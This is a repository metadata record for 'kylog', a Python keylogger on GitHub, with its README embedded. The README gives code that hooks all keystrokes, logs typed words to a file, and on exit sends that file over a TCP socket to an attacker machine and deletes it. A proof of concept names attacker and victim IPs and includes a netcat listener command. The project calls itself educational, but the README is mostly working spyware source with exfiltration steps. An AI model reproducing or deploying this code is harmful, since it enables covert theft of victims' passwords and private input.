{"id":24364139,"url":"https://github.com/sporestudio/kylog","last_synced_at":"2026-04-24T10:34:22.376Z","repository":{"id":271919321,"uuid":"914971554","full_name":"sporestudio/kylog","owner":"sporestudio","description":"Simple and lightweight keylogger made with python.","archived":false,"fork":false,"pushed_at":"2025-01-12T00:46:45.000Z","size":152,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-18T23:24:34.166Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sporestudio.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-10T17:29:50.000Z","updated_at":"2025-01-12T00:46:47.000Z","dependencies_parsed_at":"2025-01-10T18:55:35.400Z","dependency_job_id":"5193bd82-7c41-4fbd-80cc-a9ecf9931d33","html_url":"https://github.com/sporestudio/kylog","commit_stats":null,"previous_names":["sporestudio/kylog"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sporestudio%2Fkylog","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sporestudio%2Fkylog/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sporestudio%2Fkylog/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sporestudio%2Fkylog/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sporestudio","download_url":"https://codeload.github.com/sporestudio/kylog/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243196169,"owners_count":20251849,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-01-18T23:21:09.171Z","updated_at":"2025-12-25T10:18:40.623Z","avatar_url":"https://github.com/sporestudio.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cdiv align=\"center\"\u003e\n    \u003cimg src=\"./.assets/imgs/kylog-logo.png\" alt=\"logo\" width=600 heigth=149\u003e\n\u003c/div\u003e\n\n\u003c/br\u003e\n\n\u003cdiv align=\"center\"\u003e\n    \u003ch4\u003eSimple and lightweight keylogger made with Python\u003c/h4\u003e\n\u003c/div\u003e\n\nThis project is a **simple keylogger written in python for educational purposes**. It captures keystrokes from the keyboard, saves the captured words into a text file (`output.txt`), and optionally sends the file to a remote machine over network.\n\n## Features\n\n### Capture printable keystrokes\n\nThe program uses the `keyboard` library to detect and record any printable characters typed by the user. Special keys like `Shift` and `Ctrl` are ignored, focusing only on characters that form meaningful input.\n\n### Detects and processes words\n\nWhen the user types, characters are accumulated into a `word` variable. Once the space key is pressed, the word is saved into a text file (`output.txt`) and the variable is reset, allowing the program to efficiently handle word-by-word input.\n\n### Stores data in a file\n\nThe captured words are stored in a file named `output.txt`. This file is created in the same directory as the script if it does not already exist. Data is appended to the file to ensure that no information is lost between sessions.\n\n### Sends capture data to a remote machine\n\nUpon termination of the program (by pressing `ESC`), the `output.txt` file is transmitted to a specified remote machine using TCP sockets. The IP address and port of the receiving machine can be dynamically set using command-line arguments.\n\n### Customizable IP address and port\n\nThe program accepts the IP address and port of the remote machine as command-line arguments, making it adaptable to different network configurations and scenarios.\n\n## Setup\n\n### Clone the repository\n\nClone this repository to your local machine:\n\n```bash\ngit clone https://github.com/sporestudio/kylog\ncd kylog\n```\n\n### Install requirements\n\n#### Create virtual environment\n\nCreate a virtual environment to install the requirements for the project (optional but recommended):\n\n```bash\npython3 -m venv kylog\nsource kylog/bin/activate\n```\n\nInstall the requirements:\n\n```bash\npip install -r requirements.txt\n```\n\n## POC\n\n\u003cdiv align=\"center\"\u003e\n    \u003cimg src=\"./.assets/imgs/kylog-diagram.png\" alt=\"logo\" width=600 heigth=149\u003e\n\u003c/div\u003e\n\n|      Machine      |       IP        |\n|-------------------|-----------------|\n|  Atacker Machine  |   192.168.1.97  |\n|  Victim Machine   |   192.168.1.66  |\n\n\nIn this proof of concept we have two machines, an attacker machine and a victim machine (infected with kylog), so we will run the keylogger on the victim machine, we will capture the keystrokes and when we press ESC, we will send these keystrokes by TCP to the attacker machine. \n\n### Setup the attacker machine\n\n\u003cimg src=\".assets/imgs/attacker.png\" alt=\"img\" align=\"right\" width=\"400px\"\u003e\n\nOn the machine that will recive the captured data:\n\n- Start listening for incoming connections with `netcat`:\n\n```bash\nnc -lvnp \u003cport\u003e\n```\n\n- Example:\n\n```bash\nnc -lvnp 4444\n```\n\n### Run the keylogger in the victim machine\n\n\u003cimg src=\".assets/imgs/victim.png\" alt=\"img\" align=\"left\" width=\"400px\"\u003e\n\nOn the victim machine running the keylogger, execute the script with the IP address and port of the receiver machine:\n\n```bash\npython3 src/kylog.py \u003cip_address\u003e \u003cport\u003e\n```\n\n- Example:\n\nIn our case, we want to send the `output.txt` file to **192.168.1.97** address via *4444* port.\n\n```bash\npython3 src/kylog.py 192.168.1.97 4444\n```\n\n\u003c/br\u003e\n\n### Stop the keylogger\n\nTo stop the keylogger, press the `ESC` key. This will trigger the script to send the captured `output.txt` file to the receiver machine using the IP and port specified earlier.\n\n## Code explanation\n\n### Key components\n\n#### Keystroke capture\n\nThe program captures keystrokes using the `keyboard` library. It accumulates characters into a `word` variable until the space key is pressed.\n\n```python\nword = \"\"\n\ndef reset_word():\n    global word\n    word = \"\"\n\ndef save_word():\n    with open(\"output.txt\", \"a\") as file:\n        file.write(word + \"\\n\")\n    print(f'Word saved: {green}{word}{reset}')\n    reset_word()\n\ndef press_key(keystroke):\n    global word\n\n    if keystroke.event_type == keyboard.KEY_DOWN:\n        if keystroke.name == 'space':\n            save_word()\n        elif len(keystroke.name) == 1 and keystroke.name.isprintable():\n            word += keystroke.name\n\nkeyboard.hook(press_key)\n```\n\n#### Data storage\n\nEach word captured is appended to a file named `output.txt`.\n\n```python\ndef save_word():\n    with open(\"output.txt\", \"a\") as file:\n        file.write(word + \"\\n\")\n    print(f'Word saved: {green}{word}{reset}')\n    reset_word()\n```\n\n#### File transmission\n\nThe program sends the `output.txt` file to a remote IP and port using TCP sockets:\n\n```python\ndef send_file_via_sockets(file, ip_address, port):\n    try:\n        with open(file ,'rb') as file:\n            content = file.read()\n\n        with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:\n            s.connect((ip_address, port))\n            s.sendall(content)\n            os.remove(\"output.txt\")\n            sys.exit()\n\n    except Exception as e:\n        print(f'Error to send file: {e}')\n```\n\n#### Command-line arguments\n\nThe program dynamically accepts the destination IP and port as arguments.\n\n```python\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Simple and Lightweight keylogger in Python.')\n    parser.add_argument('ip', type=str, help='Destination IP Address')\n    parser.add_argument('port', type=int, help='Destination port')\n    args = parser.parse_args()\n\n    destination_ip_address = args.ip\n    destination_port = args.port\n    file_to_send = 'output.txt'\n```\n\n## License\n\nThis project is under \u003ca href=\"https://github.com/sporestudio/dns-server/blob/main/LICENSE\"\u003eGNU General Public License v3.0\u003c/a\u003e\n\n\n## Contributions\n\nContributions are welcome! Feel free to fork the repository, submit issues, or create pull requests.\n\n\n## Author\n\nCreated by \u003ca href=\"https://github.com/sporestudio\"\u003esporestudio\u003c/a\u003e.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsporestudio%2Fkylog","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsporestudio%2Fkylog","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsporestudio%2Fkylog/lists"}